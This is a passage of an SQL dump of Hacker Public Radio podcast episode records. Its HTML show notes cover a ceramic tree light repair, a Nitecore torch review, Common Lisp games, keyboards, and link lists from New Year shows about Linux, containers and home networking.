href=\"https://hackerpublicradio.org/eps/hpr3787/original_cord-lg.jpg\"><img alt=\"Original cord\" src=\"https://hackerpublicradio.org/eps/hpr3787/original_cord-sm.jpg\" /></a><br /><figcaption>Original cord after removing it from old light socket.</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_01-lg.jpg\"><img alt=\"New candelabra style light socket.\" src=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_01-sm.jpg\" /></a><br /><figcaption>New candelabra style light socket with raised plastic lettering removed by Dremel.</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_02-lg.jpg\"><img alt=\"Side view of new socket\" src=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_02-sm.jpg\" /></a><br /><figcaption>New socket showing more shaping done with the Dremel.</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_installed_01-lg.jpg\"><img alt=\"New wiring in base of ceramic ornament\" src=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_installed_01-sm.jpg\" /></a><br /><figcaption>New wiring in tucked into base of ornament. Wire nuts used to connect old cord to new socket.</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_installed_02-lg.jpg\"><img alt=\"Top view of ceramic base with light bulb screwed into new socket\" src=\"https://hackerpublicradio.org/eps/hpr3787/new_socket_installed_02-sm.jpg\" /></a><br /><figcaption>New socket installed in base with the light bulb screwed in.</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/lit_tree-lg.jpg\"><img alt=\"Lighted ceramic tree ornament\" src=\"https://hackerpublicradio.org/eps/hpr3787/lit_tree-sm.jpg\" /></a><br /><figcaption>Ceramic tree lit up after completed repair.</figcaption> </figure></div>\n',293,0,0,'CC-BY-SA','Christmas, electrical, safety',0,0,1),
(3788,'2023-02-08','Nitecore Tube torch',397,'I have owned one of these for many years and find it very useful','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>This torch (aka <em>flashlight</em>) came up during the recording of\nthe Community News for May 2022. I have owned an example of this device\nsince 2016. It’s been extensively reviewed elsewhere but I thought I’d\nbriefly tell you about my experiences.</p>\n<h2 id=\"nitecore-tube-v1\">Nitecore Tube (V1)</h2>\n<figure>\n<img src=\"https://hackerpublicradio.org/eps/hpr3788/Nitecore_ruler.png\" alt=\"My Nitecore Tube\" />\n<figcaption aria-hidden=\"true\">My Nitecore Tube</figcaption>\n</figure>\n<p>I bought this from Amazon after seeing a video of it on the <em>Big\nClive</em> YouTube channel. It was under £10. This version is no longer\navailable but there is a version 2 for a similar price. I haven’t tried\nthis one.</p>\n<p>The Nitecore Tube is a small plastic-bodied torch with fittings for a\nkey ring. I have not been keen to keep it on my keyring for fear of\ndamage from the keys, so I keep it always in my shirt pocket.</p>\n<p>The torch is controlled through a rubber-like button on one side, and\nhas a micro USB port on the edge which is covered by a rubber cap.</p>\n<p>While charging, a blue LED can be seen inside the body of the torch,\nwhich turns off when the charging process is complete.</p>\n<p>The torch can operate at a number of brightness levels and has a\n<em>lock</em> mode:</p>\n<ul>\n<li>Single press - turns the low light level on and off</li>\n<li>Double press - turns on the permanent high level mode, a single\npress for off</li>\n<li>Single press and hold for more than 1 second - temporary high\nmode</li>\n<li>Press and hold when in low mode increases in brightness in\nsteps</li>\n<li>Press and hold for more than 5 seconds when in high mode will lock\nthe torch against accidental button presses. The light blinks to show\nit’s locked. Press and hold to return to normal.</li>\n</ul>\n<h2 id=\"usage\">Usage</h2>\n<p>I don’t use this torch a huge amount. The fact that it’s always in my\npocket means I have a source of quite bright light when I need one. The\nlower level light is useful for moving around in the dark or in a gloomy\nplace. The brighter level I tend to use to read labels on jars, bottles\nand other containers. For some reason, these labels are often designed\nwith minimal contrast (like a dull orange lettering on a purple\nbackground) which my eyes just can’t cope with. The Nitecore is my\nsaviour with this sort of stuff!</p>\n<p>I don’t charge it very often, but it is easy to do it with a phone\ncharger - I have several micro USB cables around, so it’s no\nproblem.</p>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>This is a great little device. I have other torches for when I need a\nstronger, more broadly illuminating light source. I wouldn’t be carrying\nany of these around with me though. The Nitecore is small and compact\nenough that I can keep it on me all the time.</p>\n<p>If I lost this one, or it died, I’m pretty sure I’d get another!</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li>Big Clive:\n<ul>\n<li><a href=\"https://www.youtube.com/watch?v=6Wq5q2ihoIs\">Fixing two\nNitecore Tube torches</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=K1BpfpO9BfY\">Comparison\nwith a shaker torch</a></li>\n<li><a\nhref=\"https://www.youtube.com/watch?v=yxI2Ln26ivY\">Teardown</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=YZNA8vxBcJE\">Teardown of a\nfake</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=tjX8S2G1Czc\">Worst clone\nyet</a></li>\n</ul></li>\n<li><a href=\"https://1lumen.com/review/nitecore-tube/\">1LUMEN.COM\nNitecore Tube</a> - a very detailed review.</li>\n</ul>\n</article>\n\n',225,0,1,'CC-BY-SA','torch,flashlight,rechargeable,Lithium Ion',0,0,1),
(3789,'2023-02-09','Common lisp portable games including acl2 formal logic',3220,'Describing exploratory libre common lisp portable games I am using acl2 formal methods in modules of','<p>Source I was looking through while talking WIP:<br />\ngopher://gopher.club/1/users/screwtape/car-game</p>\n<ul>\n<li>Compilers:\n<ul>\n<li>sbcl<br />\n<a href=\"https://sbcl.org/\" class=\"uri\">https://sbcl.org/</a></li>\n<li>ecl<br />\n<a href=\"https://ecl.common-lisp.dev/\"\nclass=\"uri\">https://ecl.common-lisp.dev/</a></li>\n<li>acl2<br />\n<a\nhref=\"https://www.cs.utexas.edu/users/moore/acl2/manuals/current/manual/index-seo.php/ACL2____Common_02Lisp\"\nclass=\"uri\">https://www.cs.utexas.edu/users/moore/acl2/manuals/current/manual/index-seo.php/ACL2____Common_02Lisp</a></li>\n</ul></li>\n<li>System definition:\n<ul>\n<li>asdf<br />\n<a href=\"https://common-lisp.net/project/asdf/\"\nclass=\"uri\">https://common-lisp.net/project/asdf/</a></li>\n</ul></li>\n<li>Books mentioned:\n<ul>\n<li>Land of Lisp</li>\n<li>Advances in Formal methods (whatever by Kaufmann)</li>\n</ul></li>\n</ul>\n',416,0,0,'CC-BY-SA','common-lisp,acl2,asdf3,formal-methods,game,programming',0,0,1),
(3791,'2023-02-13','My Hardware Problem - Keyboards',1418,'I\'m always looking for new computer hardware.  This is about my keyboards','<p>I discuss my quest for the perfect keyboard for me.</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.duckychannel.com.tw/en\">https://www.duckychannel.com.tw/en</a></li>\r\n<li><a href=\"https://steelseries.com/apex\">https://steelseries.com/apex</a></li>\r\n<li><a href=\"https://www.razer.com/pc/gaming-keyboards-and-keypads\">https://www.razer.com/pc/gaming-keyboards-and-keypads</a></li>\r\n<li><a href=\"https://www.redragonzone.com/collections/keyboard\">https://www.redragonzone.com/collections/keyboard</a></li>\r\n<li><a href=\"https://www.keychron.com/\">https://www.keychron.com/</a></li>\r\n<li><a href=\"https://hyperx.com/collections/gaming-keyboards\">https://hyperx.com/collections/gaming-keyboards</a></li>\r\n<li><a href=\"https://keebworks.com/kailh-box-white/\">https://keebworks.com/kailh-box-white/</a></li>\r\n</ul>\r\n\r\n<p><small><a href=\"https://auphonic.com/blog/2022/06/10/new-noise-reduction-algorithms-beta/\">Noise reduction</a> applied</small></a>\r\n\r\n\r\n',417,57,0,'CC-BY-SA','Keyboards, Ducky, Razer, Red Dragon, Cherry, Kailh, MX, Keycaps, HyperX, Pudding',0,0,1),
(3793,'2023-02-15','RE: Zen_Floater2',1127,'GOD probably will use a Chromebook.','<hr />\r\n<h3>Counter Point</h3>\r\n<p>This show is a counter point to: <a href=\"https://hackerpublicradio.org/eps.php?id=3754\">hpr3754 :: GOD probably will use a Chromebook.</a>\r\n</p>\r\n<hr />\r\n\r\n<h2\r\nid=\"make-sure-no-one-is-in-the-room-with-you-before-you-play-this-and-put-your-secret-hat-on\">Make\r\nsure no one is in the room with you before you play this and put your\r\nsecret hat on.</h2>\r\n<ul>\r\n<li><a\r\nhref=\"https://hackerpublicradio.org/eps.php?id=3754#comments\">hpr3754:</a>\r\nGOD probably will use a Chromebook.</li>\r\n<li><a href=\"https://gnuworldorder.info/\">GNU World Order:</a> Episode\r\n489 Cloud Services.</li>\r\n<li><a\r\nhref=\"https://www.samsung.com/us/computing/galaxy-chromebook-go/\">samsung:</a>\r\nGalaxy Chromebook Go.\r\n<ul>\r\n<li><a\r\nhref=\"https://www.samsung.com/us/computing/chromebooks/12-14/galaxy-chromebook-go-14---silver--wifi--xe340xda-ka1us/\">samsung:</a>\r\nGalaxy Chromebook Go 14inch, Silver, Wi-Fi.</li>\r\n</ul></li>\r\n<li><a\r\nhref=\"https://en.wikipedia.org/wiki/Artificial_intelligence\">wikipedia:</a>\r\nArtificial intelligence is intelligence&#x2014;perceiving, synthesizing, and\r\ninferring information&#x2014;demonstrated by machines, as opposed to\r\nintelligence displayed by non-human animals and humans.</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/God\">wikipedia:</a> In\r\nmonotheistic thought, God is usually viewed as the supreme being,\r\ncreator, and principal object of faith. God is typically conceived as\r\nbeing omnipotent, omniscient, omnipresent, and omnibenevolent, as well\r\nas having an eternal and necessary existence.</li>\r\n<li><a\r\nhref=\"https://en.wikipedia.org/wiki/Planned_obsolescence\">wikipedia:</a>\r\nIn economics and industrial design, planned obsolescence (also called\r\nbuilt-in obsolescence or premature obsolescence) is a policy of planning\r\nor designing a product with an artificially limited useful life or a\r\npurposely frail design, so that it becomes obsolete after a certain\r\npre-determined period of time upon which it decrementally functions or\r\nsuddenly ceases to function, or might be perceived as\r\nunfashionable.</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Eugenics\">wikipedia:</a>\r\nEugenics. In the decades following World War II, with more emphasis on\r\nhuman rights, many countries began to abandon eugenics policies,\r\nalthough some Western countries (the United States, Canada, and Sweden\r\namong them) continued to carry out forced sterilizations.</li>\r\n</ul>\r\n',391,0,1,'CC-BY-SA','Tin hat, chrome book, Artificial intelligence',0,0,1),
(3795,'2023-02-17','2022-2023 New Years Show Episode 1',5022,'2022 - 2023 new years show where people come together and chat the year away ','<h2 id=\"episode-1\">Episode #1</h2>\n<p>Welcome to the 11th Annual Hacker Public Radio show. It is December\nthe 31st 2022 and the time is 10 hundred hours UTC. We start the show by\nsending Greetings to Christmas Island/Kiribati and Samoa Kiritimati,\nApia. Chatting with Honkey, Mordancy, Joe, Ken, and others</p>\n<p>Discussed: pi hole, podman, RPIs, Pfsense, and netminers new micro\npc</p>\n<h3 id=\"introduction-by-ken-and-honkey\">Introduction by <a\nhref=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken</a>\nand <a\nhref=\"https://hackerpublicradio.org/correspondents.php?hostid=269\">Honkey</a>.</h3>\n<ul>\n<li><a\nhref=\"https://www.history.com/topics/holidays/new-years\">History:</a>\nThe New Years Celebrations.\n<ul>\n<li>Civilizations around the world have been celebrating the start of\neach new year for at least four millennia. Today, most New Year&#x2019;s\nfestivities begin on December 31 (New Year&#x2019;s Eve), the last day of the\nGregorian calendar, and continue into the early hours of January 1 (New\nYear&#x2019;s Day).</li>\n</ul></li>\n<li><a href=\"https://hackerpublicradio.org/contribute.php\">HPR:</a> So\nyou want to do a podcast?\n<ul>\n<li><a href=\"https://www.wikihow.com/Make-a-Good-Podcast\">Wikihow:</a>\nHow to make a good podcast.</li>\n</ul></li>\n<li><a href=\"https://www.deathwishcoffee.com/\">Death Wish Coffee</a>\n<ul>\n<li>We lead with an alternative point of view, providing bold, smooth\ncups of coffee to our people. We find fresh ways to enjoy coffee, and we\nfoster community along the way. Disrupting the status quo interests us,\nso we create edgy, sarcastic content. We live to rebel against blah\nbeans&#x2014;and a boring, lackluster life.</li>\n</ul></li>\n<li><a href=\"https://elephantsanctuarythailand.com/\">Thailand Elephant\nSanctuary</a></li>\n<li><a href=\"https://wiki.videolan.org/VLC_command-line_help/\">VLC\ncommandline:</a> List of commands and arguments.\n<ul>\n<li><a href=\"https://wiki.videolan.org/Documentation:Command_line/\">VLC\ncommandline:</a> Documentation.</li>\n<li><a\nhref=\"https://wiki.videolan.org/Documentation:Streaming_HowTo/Command_Line_Examples/\">VLC\ncommandline:</a> Audio streaming from the commandline.</li>\n<li><a href=\"https://github.com/pulseaudio/pavucontrol\">pavucontrol:</a>\nPulseAudio Volume Control.</li>\n</ul></li>\n<li><a href=\"http://www.hearseclub.com/hearsecon/hearsecon.htm\">Hearse\nClub</a>\n<ul>\n<li><a href=\"https://www.youtube.com/watch?v=HOSsC0mFXP0\">youtube:</a>\nMotorWeek Over the Edge: Hearse Convention.</li>\n</ul></li>\n<li><a href=\"https://xiph.org/ogg/\">xiph:</a> The Ogg container format.\n<ul>\n<li>Ogg is a multimedia container format, and the native file and stream\nformat for the Xiph.org multimedia codecs. As with all Xiph.org\ntechnology is it an open format free for anyone to use.</li>\n<li><a\nhref=\"https://www.loc.gov/preservation/digital/formats/fdd/fdd000026.shtml\">Library\nof Congress:</a> .ogg file format.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/MP3\">Wikipedia:</a> .mp3 file\nformat.</li>\n<li><a href=\"https://xiph.org/flac/index.html\">xiph:</a> .flac file\nformat.\n<ul>\n<li>FLAC stands for Free Lossless Audio Codec, an audio format similar\nto MP3, but lossless, meaning that audio is compressed in FLAC without\nany loss in quality. This is similar to how Zip works, except with FLAC\nyou will get much better compression because it is designed specifically\nfor audio, and you can play back compressed FLAC files in your favorite\nplayer (or your car or home stereo, see supported devices) just like you\nwould an MP3 file.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/FLAC\">Wikipedia:</a> .flac\nfile format.</li>\n</ul></li>\n<li><a\nhref=\"https://elephantguide.com/en/how-much-can-an-elephant-lift/\">elephantguide:</a>\nHow Much Can An Elephant Lift?</li>\n<li><a\nhref=\"https://thaiembdc.org/2022/08/10/thailands-wild-tiger-population-shows-impressive-growth/\">Royal\nThai Embassy:</a> Thailand&#x2019;s wild tiger population shows impressive\ngrowth.\n<ul>\n<li><a\nhref=\"https://www.bangkokpost.com/thailand/general/2357491/thailand-has-highest-number-of-wild-tigers-in-southeast-asia\">bangkokpost:</a>\nThailand has highest number of wild tigers in Southeast Asia.</li>\n</ul></li>\n<li><a href=\"https://www.mumble.info/\">mumble:</a> Mumble is a free,\nopen source, low latency, high quality voice chat application.</li>\n<li><a\nhref=\"https://www.atpinc.com/blog/what-is-m.2-M-B-BM-key-socket-3\">atpinc:</a>\nWhat is M.2? Keys and Sockets Explained.</li>\n<li><a href=\"https://www.armbian.com/\">armbian:</a> Linux for ARM\ndevelopment boards.</li>\n<li><a\nhref=\"https://www.pine64.org/devices/single-board-computers/rock64/\">pine64:</a>\nROCK64 is a credit card sized Single Board Computer.</li>\n<li><a href=\"https://hub.docker.com/r/realies/nicotine/\">docker:</a>\nrealies/nicotine.</li>\n<li><a href=\"https://kubuntu.org/\">kubuntu:</a>\n<ul>\n<li>Kubuntu is a free, complete, and open-source alternative to\nMicrosoft Windows and Mac OS X which contains everything you need to\nwork, play, or share. Check out the Feature Tour if you would like to\nlearn more!</li>\n</ul></li>\n<li><a href=\"https://podman.io/\">podman:</a>\n<ul>\n<li>Podman is a daemonless container engine for developing, managing,\nand running OCI Containers on your Linux System.</li>\n</ul></li>\n<li><a href=\"https://www.docker.com/\">docker:</a>\n<ul>\n<li><a href=\"https://www.docker.com/resources/what-container/\">A\ncontainer</a> is a standard unit of software that packages up code and\nall its dependencies so the application runs quickly and reliably from\none computing environment to another. A Docker container image is a\nlightweight, standalone, executable package of software that includes\neverything needed to run an application: code, runtime, system tools,\nsystem libraries and settings.</li>\n<li><a\nhref=\"https://www.docker.com/blog/containers-and-vms-together/\">Containers\nand VMs Together?</a></li>\n</ul></li>\n<li><a href=\"https://cockpit-project.org/\">cockpit:</a> Cockpit is a\nweb-based graphical interface for servers, intended for everyone.\n<ul>\n<li><a\nhref=\"https://www.redhat.com/sysadmin/manage-virtual-machines-cockpit\">manage</a>\nvirtual machines in Cockpit.</li>\n</ul></li>\n<li><a href=\"https://etherpad.org/\">etherpad:</a> big boy show\nnotes.</li>\n<li><a\nhref=\"https://developers.redhat.com/blog/2020/11/19/transitioning-from-docker-to-podman#\">redhat:</a>\nTransitioning from Docker to Podman.</li>\n<li><a href=\"https://linuxlugcast.com/\">lugcast:</a> We are an open\nPodcast/LUG that meets every first and third Friday of every month using\nmumble.</li>\n<li>[logitech:](<a href=\"https://www.logitech\">https://www.logitech</a>\nG435 Ultra-light Wireless Bluetooth Gaming Headset.</li>\n<li><a\nhref=\"https://www.fit-philosophy.com/blogs/fitness-knowledge/how-to-avoid-performing-junk-volume\">fit\nphilosophy:</a> Junk volume.\n<ul>\n<li>\"Junk volume\" refers to exercise that doesn\'t improve strength or\nbuild muscle, wasting your time and energy.</li>\n<li><a\nhref=\"https://hugesupplements.com/blogs/content/leg-day-workout\">Leg day\nworkout</a></li>\n</ul></li>\n<li><a href=\"https://jitsi.org/projects/\">jitsi:</a> Jitsi Free &amp;\nOpen Source Video Conferencing Projects.</li>\n<li><a href=\"https://mintcast.org/\">mintCast</a> The podcast by the\nLinux Mint community for all users of Linux.</li>\n<li><a href=\"https://www.tllts.org/\">The Linux link tech show</a> The\nLinux Link Tech Show is one of the longest running Linux podcasts in the\nworld.</li>\n<li><a href=\"https://www.matterhackers.com/store/c/PET\">PETG</a> 3D\nPrinting Filament.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/MIM-104_Patriot\">MIM-104\nPatriot</a>\n<ul>\n<li><a\nhref=\"https://www.military-today.com/missiles/patriot.htm\">military-today</a>\nThe Patriot is a long-range air defense missile system.</li>\n</ul></li>\n<li><a href=\"https://www.samsclub.com/\">samsclub:</a></li>\n<li><a href=\"https://github.com/rancher/rancher\">rancher:</a>\n<ul>\n<li><a href=\"https://www.rancher.com/\">suse rancher:</a></li>\n</ul></li>\n<li><a href=\"https://www.raspberrypi.com/\">raspberrypi</a> single board\ncomputers.</li>\n<li><a href=\"https://www.pfsense.org/\">pfsense:</a> pfSense is a\nfirewall/router computer software distribution based on FreeBSD.</li>\n<li><a href=\"https://www.snort.org/\">snort:</a>\n<ul>\n<li>Snort is the foremost Open Source Intrusion Prevention System (IPS)\nin the world. Snort IPS uses a series of rules that help define\nmalicious network activity and uses those rules to find packets that\nmatch against them and generates alerts for users.</li>\n<li>Snort can be deployed inline to stop these packets, as well. Snort\nhas three primary uses: As a packet sniffer like tcpdump, as a packet\nlogger &#x2014; which is useful for network traffic debugging, or it can be\nused as a full-blown network intrusion prevention system. Snort can be\ndownloaded and configured for personal and business use alike.</li>\n</ul></li>\n<li><a href=\"https://pi-hole.net/\">pi-hole:</a>\n<ul>\n<li>In addition to blocking advertisements, Pi-hole has an informative\nWeb interface that shows stats on all the domains being queried on your\nnetwork.</li>\n</ul></li>\n<li><a href=\"https://nlnetlabs.nl/projects/unbound/about/\">nlnetlabs:\nUnbound</a> Unbound is a validating, recursive, caching DNS resolver. It\nis designed to be fast and lean and incorporates modern features based\non open standards.</li>\n<li><a href=\"https://www.cloudns.net/blog/dhcp-server/\">DHCP\nserver</a></li>\n<li><a href=\"https://dietpi.com/\">dietpi:</a> DietPi is an extremely\nlightweight Debian OS, highly optimised for minimal CPU and RAM resource\nusage, ensuring your SBC always runs at its maximum potential.</li>\n<li><a\nhref=\"https://www.servethehome.com/?s=project+tinyminimicro\">servethehome:</a>\nProject Tiny Mini Micro, cool 1 liter pc builds.</li>\n<li><a href=\"https://filezilla-project.org/\">filezilla:</a> The\nFileZilla Client supports FTP, FTP over TLS (FTPS), and SFTP.</li>\n<li><a\nhref=\"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/networking_guide/sec-configure_a_network_team_using_the_text_user_interface_nmtui\">redhat:</a>\nConfigure a Network Team Using the Text User Interface,\n<code>nmtui</code>.</li>\n<li><a\nhref=\"https://www.howtogeek.com/devops/how-to-manage-linux-wi-fi-networks-with-nmtui/\">howtogeek:</a>\nManage Linux Wi-Fi Networks With Nmtui.</li>\n<li><a\nhref=\"https://www.travelcodex.com/the-southwest-airlines-meltdown-what-really-happened/\">travelcodex:</a>\nThe Southwest Airlines Meltdown.</li>\n<li><a href=\"https://gpd.hk/\">gpd</a></li>\n<li><a\nhref=\"https://www.kickstarter.com/projects/903888394/arduboy-card-sized-gaming/description\">kickstarter:</a>\nArduboy, the game system the size of a credit card.</li>\n<li><a\nhref=\"https://www.pine64.org/2022/12/15/december-update-merry-christmas-and-happy-new-pinetab/\">pine64:</a>\nPinetab 2.</li>\n<li><a\nhref=\"http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/details/orange-pi-800.html\">orangepi:</a>\nOrange Pi 800, Mini PC in a keyboard.</li>\n<li><a href=\"https://southeastlinuxfest.org/\">southeastlinuxfest:</a>\nThe SouthEast LinuxFest is a community event for anyone who wants to\nlearn more about Linux and Open Source Software.</li>\n<li><a href=\"https://fosdem.org/2023/\">fosdem:</a> FOSDEM is a free\nevent for software developers to meet, share ideas and collaborate.</li>\n<li><a href=\"https://stallman.org/\">stallman:</a> Richard Stallman\'s\nPersonal Site.</li>\n<li><a href=\"https://www.freedos.org/\">freedos:</a> FreeDOS is a\ncomplete, free, DOS-compatible operating system. While we provide some\nutilities, you should be able to run any program intended for\nMS-DOS.</li>\n<li><a href=\"https://reactos.org/\">reactos:</a> Imagine running your\nfavorite Windows applications and drivers in an open-source environment\nyou can trust.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Windows_3.0\">wikipedia:</a>\nWindows 3.0.</li>\n<li><a href=\"https://www.winehq.org/\">winehq:</a> a compatibility layer\ncapable of running Windows applications on several POSIX-compliant\noperating systems, such as Linux, macOS, &amp; BSD.</li>\n<li><a href=\"https://www.codeweavers.com/\">codeweavers:</a></li>\n<li><a href=\"https://www.playonlinux.com/en/\">playonlinux:</a>\nPlayOnLinux is a piece of software which allows you to easily install\nand use numerous games and apps designed to run with Microsoft&#xAE;\nWindows&#xAE;.</li>\n<li><a href=\"https://www.protondb.com/\">protondb:</a> Proton is a new\ntool released by Valve Software that has been integrated with Steam Play\nto make playing Windows games on Linux as simple as hitting the Play\nbutton within Steam.</li>\n<li><a href=\"https://www.libreoffice.org/\">libreoffice:</a> LibreOffice\nis a free and powerful office suite.</li>\n<li><a href=\"https://linuxmint.com/\">linuxmint:</a> Linux Mint is a\ncommunity-driven Linux distribution based on Ubuntu, bundled with a\nvariety of free and open-source applications.</li>\n<li><a href=\"https://xfce.org/\">xfce:</a> Xfce or XFCE is a free and\nopen-source desktop environment for Linux and other Unix-like operating\nsystems.</li>\n<li><a href=\"https://crunchbang.org/\">crunchbang:</a> CrunchBang was a\nDebian GNU/Linux based distribution offering a great blend of speed,\nstyle and substance.</li>\n<li><a href=\"http://openbox.org/\">openbox:</a></li>\n<li><a href=\"https://www.gnome.org/\">gnome:</a></li>\n<li><a href=\"https://www.mozilla.org/en-US/firefox/new/\">mozilla:</a>\nfirefox</li>\n<li><a href=\"https://www.google.com/chrome/index.html\">google\nchrome</a></li>\n<li><a href=\"https://www.amd.com/\">AMD</a></li>\n<li><a\nhref=\"https://www.cdc.gov/ncbddd/autism/screening.html\">autism</a></li>\n<li><a href=\"https://www.toastmasters.org/\">toastmasters</a>\nToastmasters International is a nonprofit educational organization that\nteaches public speaking and leadership skills through a worldwide\nnetwork of clubs.</li>\n<li><a href=\"https://www.openssl.org/\">openssl</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Asperger_syndrome\">Asperger\nsyndrome</a></li>\n<li><a href=\"https://www.ed.gov/stem\">STEM</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/BASIC\">BASIC</a> BASIC\n(Beginners\' All-purpose Symbolic Instruction Code) is a family of\ngeneral-purpose, high-level programming languages designed for ease of\nuse. The original version was created by John G. Kemeny and Thomas E.\nKurtz at Dartmouth College in 1963.</li>\n<li><a href=\"https://www.computerhope.com/jargon/i/irc.htm\">IRC</a> IRC\nis short for Internet Relay Chat. It is a popular chat service still in\nuse today.</li>\n<li><a href=\"https://secondlife.com/\">second life</a></li>\n<li><a href=\"https://www.walmart.com/\">walmart</a></li>\n<li><a href=\"https://www.aldi.us/\">aldi</a></li>\n<li><a\nhref=\"https://groceries.morrisons.com/webshop/startWebshop.do\">morrisons</a></li>\n<li><a href=\"https://www.boots.com/\">boots</a></li>\n<li><a href=\"https://www.walgreens.com/\">walgreens</a></li>\n<li><a href=\"https://www.timeanddate.com/worldclock/timezone/zulu\">zulu\nclock</a></li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3804,'2023-03-02','2022-2023 New Years Show Episode 2',5224,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-2\">Episode #2</h2>\n<ul>\n<li><p>London New Year\'s Eve Fireworks Display<br />\n<a href=\"https://youtu.be/2FcDNi1HkfI\"\nclass=\"uri\">https://youtu.be/2FcDNi1HkfI</a></p></li>\n<li><p>Doctor Fauci<br />\n<a href=\"https://www.niaid.nih.gov/about/director\"\nclass=\"uri\">https://www.niaid.nih.gov/about/director</a></p></li>\n<li><p>UK Tiered COVID Lockdowns<br />\n<a\nhref=\"https://www.ageuk.org.uk/information-advice/health-wellbeing/conditions-illnesses/coronavirus-guidance/local-lockdown-tiers/\"\nclass=\"uri\">https://www.ageuk.org.uk/information-advice/health-wellbeing/conditions-illnesses/coronavirus-guidance/local-lockdown-tiers/</a></p></li>\n<li><p>Carribean Ban on Alcohol During COVID?<br />\n<a\nhref=\"https://barbados.loopnews.com/content/say-no-alcohol-now-5-myths-about-alcohol-and-covid-19\"\nclass=\"uri\">https://barbados.loopnews.com/content/say-no-alcohol-now-5-myths-about-alcohol-and-covid-19</a></p></li>\n<li><p>New York City Restaurants Have Outdoor Dining Structures To\nCombat COVID Lockdowns<br />\n<a\nhref=\"https://nypost.com/2022/11/15/shut-down-nycs-outdoor-dining-sheds/\"\nclass=\"uri\">https://nypost.com/2022/11/15/shut-down-nycs-outdoor-dining-sheds/</a></p></li>\n<li><p>Happy New Year To Melbourne and Sydney Australia</p></li>\n<li><p>Happy New Year To Adelaide, Broken Hill Australia</p></li>\n<li><p>Funkwhale - Federated Music Streaming Platform<br />\n<a href=\"https://funkwhale.audio/\"\nclass=\"uri\">https://funkwhale.audio/</a></p></li>\n<li><p>FreeBSD<br />\n<a href=\"https://www.freebsd.org/\"\nclass=\"uri\">https://www.freebsd.org/</a></p></li>\n<li><p>ActivityPub<br />\n<a href=\"https://www.w3.org/TR/activitypub/\"\nclass=\"uri\">https://www.w3.org/TR/activitypub/</a><br />\n<a href=\"https://activitypub.rocks/\"\nclass=\"uri\">https://activitypub.rocks/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/ActivityPub\"\nclass=\"uri\">https://en.wikipedia.org/wiki/ActivityPub</a></p></li>\n<li><p>The Linux Lugcast<br />\n<a href=\"https://linuxlugcast.com/\"\nclass=\"uri\">https://linuxlugcast.com/</a></p></li>\n<li><p>DevRandom Podcast (pod faded)<br />\n<a href=\"http://devrandomshow.org/shows/?f=all.html\"\nclass=\"uri\">http://devrandomshow.org/shows/?f=all.html</a><br />\n<a href=\"https://archive.org/details/devrandom\"\nclass=\"uri\">https://archive.org/details/devrandom</a></p></li>\n<li><p>CHAOS NET<br />\n<a href=\"https://chaosnet.net/\"\nclass=\"uri\">https://chaosnet.net/</a><br />\n<a href=\"https://twobithistory.org/2018/09/30/chaosnet.html\"\nclass=\"uri\">https://twobithistory.org/2018/09/30/chaosnet.html</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Chaosnet\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Chaosnet</a></p></li>\n<li><p>Anne &amp; Lynn Wheeler<br />\n<a href=\"https://www.garlic.com/~lynn/\"\nclass=\"uri\">https://www.garlic.com/~lynn/</a></p></li>\n<li><p>IBM System 360<br />\n<a href=\"https://www.ibm.com/ibm/history/ibm100/us/en/icons/system360/\"\nclass=\"uri\">https://www.ibm.com/ibm/history/ibm100/us/en/icons/system360/</a><br />\n<a\nhref=\"https://www.ibm.com/ibm/history/ibm100/us/en/icons/system360/transform/\"\nclass=\"uri\">https://www.ibm.com/ibm/history/ibm100/us/en/icons/system360/transform/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/IBM_System/360\"\nclass=\"uri\">https://en.wikipedia.org/wiki/IBM_System/360</a></p></li>\n<li><p>IBM System 370<br />\n<a\nhref=\"https://www.ibm.com/ibm/history/exhibits/mainframe/mainframe_PR370.html\"\nclass=\"uri\">https://www.ibm.com/ibm/history/exhibits/mainframe/mainframe_PR370.html</a><br />\n<a href=\"https://www.pcmag.com/encyclopedia/term/system370\"\nclass=\"uri\">https://www.pcmag.com/encyclopedia/term/system370</a><br />\n<a href=\"https://en.wikipedia.org/wiki/IBM_System/370\"\nclass=\"uri\">https://en.wikipedia.org/wiki/IBM_System/370</a></p></li>\n<li><p>UUCP<br />\n<a href=\"https://en.wikipedia.org/wiki/UUCP\"\nclass=\"uri\">https://en.wikipedia.org/wiki/UUCP</a><br 